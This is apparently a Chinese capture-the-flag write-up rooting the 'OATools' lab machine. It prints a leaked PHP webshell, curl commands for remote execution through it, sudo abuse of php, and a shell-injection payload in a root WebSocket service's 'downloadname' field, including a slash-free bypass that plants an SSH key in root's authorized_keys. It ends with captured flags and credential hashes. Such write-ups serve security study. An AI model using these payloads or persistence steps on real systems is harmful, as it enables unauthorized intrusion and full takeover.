

OATools 靶机渗透测试报告

靶机地址: 192.168.3.155 靶机名称: OATools (Alpine Linux 3.24 / x86_64 / Kernel 7.1.3)

攻击机: 192.168.3.94 (Kali Linux)

目录

- [1. 信息收集](#)
- [2. Web 服务枚举与 Webshell 发现](#)
- [3. 获取立足点 \(apache 权限\)](#)
- [4. 横向提权到 lingdong 用户](#)
- [5. 深入分析 10086 端口: root 运行的 WebSocket 打印服务](#)
- [6. 命令注入漏洞分析](#)
- [7. 构造无斜杠 Payload 实现 Root 命令执行](#)
- [8. 获取 Root 权限与 Flag](#)
- [9. 攻击链总结](#)
- [10. 痕迹清理与注意事项](#)

1. 信息收集

1.1 主机发现

```
ping -c 3 192.168.3.155
# 64 bytes from 192.168.3.155: icmp_seq=1 ttl=64 → 主机存活
```

1.2 全端口扫描

```
nmap -Pn -T4 -p- --min-rate 2000 192.168.3.155
```

端口	服务	版本
22/tcp	SSH	OpenSSH 10.3
80/tcp	HTTP	Apache httpd 2.4.68 (Unix)
10086/tcp	未知	所有 HTTP 请求返回 400 Bad Request

1.3 服务版本与默认脚本扫描

```
nmap -Pn -sV -sC -p 22,80,10086 192.168.3.155
```

关键发现:

- 80 端口 **robots.txt** 泄露管理目录: `Disallow: /dsz_admin/`
- 10086 端口行为诡异: 无论 GET/HTTP 头如何变化, 一律返回 `HTTP/1.1 400 Bad Request`
- HTTP 服务对 GET 请求的响应指纹与标准 HTTP 不一致 (疑似自定义协议/WebSocket)

2. Web 服务枚举与 Webshell 发现

2.1 目录列表泄露

```
GET /dsz_admin/
```

Apache 开启了目录索引 (Indexes), 直接暴露了三个文件:

```
Index of /dsz_admin
[ ] phpinfo.php
[ ] shell20260711.bak      ← 备份文件
[ ] shell20260714.php     ← 疑似活跃 Webshell
```

2.2 Webshell 源码泄露

```
curl http://192.168.3.155/dsz_admin/shell20260711.bak
```

```
<?php
if(isset($_GET['cmdDSZ0000'])){
    $cmd = base64_decode($_GET['cmdDSZ0000']);
    system($cmd);
}
?>
<br><br>
远程维护结束后, 请通知管理员ligndong, 移除该shell。
```

- `.bak` 文件泄露了完整源码: 参数 `cmdDSZ0000` 传 **Base64** 编码的命令
- 页面底部注释泄露管理员用户名: **ligndong**
- 文件名暗示维护时间线: 20260711 (备份) → 20260714 (现行版本)

3. 获取立足点 (apache 权限)

3.1 RCE 验证

```
CMD=$(echo -n "id" | base64)
curl "http://192.168.3.155/dsz_admin/shell20260714.php?cmdDSZ0000=$CMD"
```

```
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
```

→ **RCE 确认**, 身份为 `apache`。编写辅助脚本简化命令执行:

```
# /root/oashell.sh - 通过 webshell 执行任意命令
CMD=$(echo -n "$*" | base64 -w0)
curl -s -m 20 "http://192.168.3.155/dsz_admin/shell20260714.php?cmdDSZ0000=$CMD"
```

3.2 系统枚举 (apache 视角)

```
hostname    → OATools
os-release  → Alpine Linux v3.24.0
uname -a    → Linux OATools 7.1.3-0-stable (x86_64)
```

用户: - `lingdong:x:1000:1000::/home/lingdong:/bin/bash` - 唯一普通用户 - Web 根目录
`/var/www/localhost/htdocs` 属主为 `lingdong`

监听端口 (`ss -tlnp`) : 22、80、10086

进程 (`ps aux`) :

```
2378 root /usr/local/OATools/nodejs/bin/node /usr/local/OATools/server/server.js ← root 运行!
```

→ 10086 端口真身: 以 **root** 运行的 **Node.js** 服务, 位于 `/usr/local/OATools/server/`

SUID 检查: `/bin/bbsuid` ← 非标准 `setuid root` 二进制 (14KB, 无读权限)

sudo 检查 (关键!) :

```
User apache may run the following commands on OATools: (lingdong) NOPASSWD: /usr/bin/php
```

////////////////////////////////////

4. 横向提权到 lingdong 用户

利用 `sudo` 以 `lingdong` 身份运行 PHP, PHP 的 `system()` / `shell_exec()` 直接获得 shell 执行能力:

```
sudo -u lingdong /usr/bin/php -r 'echo shell_exec("id; whoami");'
# uid=1000(lingdong) gid=1000(lingdong) groups=1000(lingdong)
```

当前权限链:

```
apache (webshell RCE)
  ↓ sudo -u lingdong php
lingdong (任意命令)
```

`lingdong` 家目录 `/home/lingdong/` 权限 700, 只有 `.ash_history` `-> /dev/null` 和 `user.txt` (此前 `apache` 无法读取)。

////////////////////////////////////

5. 深入分析 10086 端口: root 运行的 WebSocket 打印服务

5.1 源码获取

`/usr/local/OATools/server/` 目录全局可写 (`drwxrwxr-x`), 所有 JS 文件可直接读取 (通过 `webshell` 拉回本地分析) :

```

server.js      ← WebSocket 服务入口 (nodejs-websocket, 监听 10086)
pdfServer.js   ← 核心打印逻辑 (混淆)
download.js    ← 文件下载 (request 库 + MD5 签名)
config.js      ← 打印机配置
utils.js       ← 工具函数
log.js         ← 日志
kylinPrinter.js ← 0 字节! (打印模块被清空)

```

5.2 server.js 分析 (去除混淆变量名后)

```

var _0x01f0 = require('nodejs-websocket'); // WebSocket 库
var _0x01f1 = require('./pdfServer.js')._0xd001; // 核心处理器
...
_0x01f0.createServer(function (conn) {
  conn.on('text', function (msg) {
    _0x01f1(msg, '', function (res) {
      if ((res + '').trim() === 'closeListen') {
        _0x01f4.close(); // 特殊指令: 关闭服务
      } else {
        conn.sendText(res);
      }
    });
  });
}).listen(10086);

```

- 消息为文本帧, 交给 pdfServer.js 的 _0xd001() 处理, 返回值回传客户端
- 目标进程为 root → 服务内部任何命令执行都是 root 权限

5.3 WebSocket 消息协议解析 (pdfServer.js _0xd001)

消息为换行分隔的文本, 格式如下:

```

interface:PdfPrint.printer
method:print
params:
<URL>
params:
<JSON 选项>
return:true

```

解析逻辑:

行	含义
interface:xxx	接口名 (PdfPrint.printer 为打印接口)
method:xxx	方法名 (print / preview)
params: + 下一行	参数数组元素 (第 1 个=URL, 第 2 个=文件数据 JSON, 第 3 个=选项 JSON)
return:true	标记 (仅下载模式)

5.4 打印流程

WebSocket 消息

- URL 提取 (params[0])
- download.js 下载文件到 /tmp/Tool/<文件名>t
- 若 JSON 选项含 downloadname → "仅下载"模式
 - execSync("cp -f " + 源文件 + " " + 目标文件) ← 漏洞点!
- 否则 → 调用打印机模块 kylinPrinter.js 打印 (已空, 此路径不可用)

6. 命令注入漏洞分析

6.1 漏洞代码 (pdfServer.js 去混淆后)

```
// "仅下载" 模式分支
if (_0x01ad === true) {
    var _0x01c7 = _0x0141._0xc003() + '/download/' + _0x01ae;    // _0x01ae = downloadname (用
    if (new RegExp(_0x01c5 + '$', 'ig').test(_0x01c7) === false) {
        _0x01c7 = _0x01c7 + _0x01c5;
    }
    _0x013f.execSync(
        _0x0141._0xc004() + ' ' +                // 'cp -f'
        _0x01c4.replace(/\\/g, '\\') + ' ' // 下载的临时文件路径 (/ → \)
        + _0x01c7.replace(/\\/g, '\\')          // 目标路径 (/ → \) ★ 用户可控
    );
    ...
}
```

6.2 漏洞成因

- downloadname (来自 params JSON 的 downloadname 字段) 直接拼接进 cp -f 命令
- 仅对 / 做了 → \ 替换 (Windows 路径兼容遗留代码), 未转义 ; \$ > # 空格等 shell 元字符
- 使用 execSync → 走 /bin/sh 解析 → 命令注入
- 注入的代码以 root 身份执行

6.3 注入验证

Payload: downloadname = "x;touch /tmp/Tool/PWNED_ROOT_TEST;#"

实际生成的 shell 命令:

```
cp -f \tmp\Tool\pwn123.txtt \tmp\Tool\download\x;touch /tmp/Tool/PWNED_ROOT_TEST;#.txt
```

执行结果 (cp 报错无妨, ; 后命令继续执行):

```
-rw-r--r-- 1 root root 0 /usr/local/OATools/server/tmpToolPWNED_ROOT_TEST
```

→ root 命令执行成功, 但发现一个坑: / 被替换成 \, 导致 /tmp/Tool/PWNED_ROOT_TEST 变成了相对路径下名为 tmpToolPWNED_ROOT_TEST 的文件 (落在进程 cwd /usr/local/OATools/server/)。

7. 构造无斜杠 Payload 实现 Root 命令执行

7.1 绕过 `/` → `\` 替换

由于整个 `_0x01c7`（包括注入 payload）中的 `/` 都会被替换为 `\`，**payload 中不能出现 `/` 字符**。利用 shell 特性构造纯相对路径攻击：

```
cd $HOME;mkdir .ssh;cd .ssh;echo <公钥> > authorized_keys
```

- `$HOME` 字面量无 `/`，由 shell 展开为 `/root`
- `mkdir .ssh`、`cd .ssh` 均为相对路径
- 全程无 `/` 字符 → 绕过替换

7.2 生成无斜杠 SSH 密钥

ed25519 公钥 base64 部分偶尔包含 `/`，重试生成直至公钥无 `/`：

```
for i in 1 2 3 4 5; do
    ssh-keygen -t ed25519 -f id_oatools -N "" -C "oatools@kali" -q
    grep -q "/" id_oatools.pub || break    # 找到无 / 的密钥
    rm -f id_oatools id_oatools.pub
done
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILsoSdCHIIW81NxqUa6yAo6ux45UxAZgQDr1loIWwJ6X oatools
```

7.3 构造并发送注入消息

```
# ws_client.py - 原始 RFC6455 WebSocket 客户端（无第三方库）
# 消息体：
#   interface:PdfPrint.printer
#   method:print
#   params:
#   http://192.168.3.94:8000/pwn.txt      ← 本地 HTTP 服务提供下载
#   params:
#   {"downloadname":"x;cd $HOME;mkdir .ssh;cd .ssh;echo ssh-ed25519 ... > authorized_keys;
#   return:true
```

最终执行的 shell：

```
cp -f \tmp\Tool\pwn...t \tmp\Tool\download\x;cd $HOME;mkdir .ssh;cd .ssh;echo ssh-ed25519
```

- `#` 将自动追加的扩展名 `.txt` 注释掉
- WebSocket 服务器回复了目标路径字符串，证明 `execSync` 正常执行

8. 获取 Root 权限与 Flag

8.1 Root SSH 登录

```
ssh -i /root/oatools/id_oatools -o StrictHostKeyChecking=no root@192.168.3.155
# uid=0(root) gid=0(root) groups=0(root),...
```

8.2 读取 Flag

```
/root/root.txt:
flag{root-a5acf1***}

/home/lingdong/user.txt:
flag{user-667f72***}
```

8.3 额外

```
/root/passwd.txt
```

```
user:667f72fcc462c14c9c701ed6ca72f8e8
root:a5acf10a68ff23be6ebb9debbbe5a96d
```

=====

免责声明：本报告仅用于授权环境下的安全测试与学习交流，请勿对未授权目标使用。